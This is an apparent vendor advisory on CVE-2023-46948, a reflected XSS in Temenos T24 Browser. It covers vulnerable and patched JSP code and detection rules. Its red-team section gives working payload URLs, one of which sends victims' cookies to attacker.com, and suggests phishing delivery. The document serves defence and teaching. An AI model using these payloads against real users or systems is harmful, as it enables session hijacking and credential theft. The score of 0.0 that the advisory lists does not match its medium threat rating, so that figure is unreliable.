CVE-2023-46948

Executive Summary

CVE-2023-46948 is a reflected Cross-Site Scripting (XSS) vulnerability in Temenos T24 Browser R19.40. The flaw exists in the about.jsp and genrequest.jsp components, where the skin parameter is not properly sanitized. A remote attacker can craft a malicious URL that, when visited by an authenticated user, executes arbitrary JavaScript in the context of the victim's browser. This can lead to session hijacking, credential theft, or defacement. No official patch has been released as of the latest advisory.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official CVSS vector provided)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None
• Threat Level: Medium (due to user interaction requirement but low complexity)

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS. The skin parameter in about.jsp and genrequest.jsp is echoed back to the user without proper encoding or validation. An attacker can inject arbitrary HTML/JavaScript via the skin parameter. For example:

https://target/t24/about.jsp?skin=<script>alert('XSS')</script>

When the server processes this request, it reflects the injected script in the response, causing the browser to execute it. The attack requires user interaction (clicking a crafted link), but no authentication is needed to trigger the reflection.

Vulnerable vs. Patched Code

Vulnerable Code (about.jsp):

<%
String skin = request.getParameter("skin");
if (skin != null) {
    out.println("Current skin: " + skin);
}
%>

Patched Code (hypothetical):

<%
String skin = request.getParameter("skin");
if (skin != null) {
    skin = skin.replaceAll("&", "&amp;").replaceAll("<", "&lt;").replaceAll(">", "&gt;").replaceAll("\"", "&quot;").replaceAll("'", "&#x27;");
    out.println("Current skin: " + skin);
}
%>

The patched version uses output encoding to neutralize HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

1. Setup: Deploy a local instance of Temenos T24 Browser R19.40 (e.g., using a Docker container or VM).
2. Craft Payload: Use a simple XSS payload to test:

   https://target/t24/about.jsp?skin=<script>alert(document.cookie)</script>
   

3. Exploit: Send the crafted link to a victim (e.g., via phishing email). When the victim clicks, the script executes.
4. Advanced Payload: Steal session cookies:

   https://target/t24/about.jsp?skin=<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script>
   

Blue Team

1. Detection: Monitor web server logs for suspicious skin parameter values containing <script> or onerror etc.
2. Mitigation: Implement a Web Application Firewall (WAF) rule to block requests with malicious patterns in the skin parameter.
3. User Training: Educate users not to click on suspicious links.

Indicators of Compromise (IOCs)

• URL Pattern: */about.jsp?skin=* or */genrequest.jsp?skin=* containing <script> tags.
• Log Entries: HTTP requests with skin parameter containing HTML/JavaScript.
• Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser.

Detection Engineering

YARA Rule

rule CVE_2023_46948_XSS {
    meta:
        description = "Detects reflected XSS attempts against Temenos T24 Browser"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-46948"
    strings:
        $xss1 = "skin=<script" ascii wide nocase
        $xss2 = "skin=javascript:" ascii wide nocase
        $xss3 = "skin=onerror=" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt on Temenos T24 Browser
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects reflected XSS attempts via skin parameter in about.jsp or genrequest.jsp
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - "skin=<script"
            - "skin=javascript:"
            - "skin=onerror="
    condition: selection
falsepositives:
    - Legitimate use of skin parameter with safe values
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-46948 Reflected XSS Attempt"; flow:to_server; content:"skin="; nocase; content:"<script"; within:100; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Apply input validation and output encoding to the skin parameter in about.jsp and genrequest.jsp.
2. Short-term: Deploy a WAF with rules to block XSS patterns.
3. Long-term: Upgrade to a patched version of Temenos T24 Browser when available.
4. Compensating Controls: Use Content Security Policy (CSP) headers to restrict script execution.

Valters IT
Securing Digital Frontiers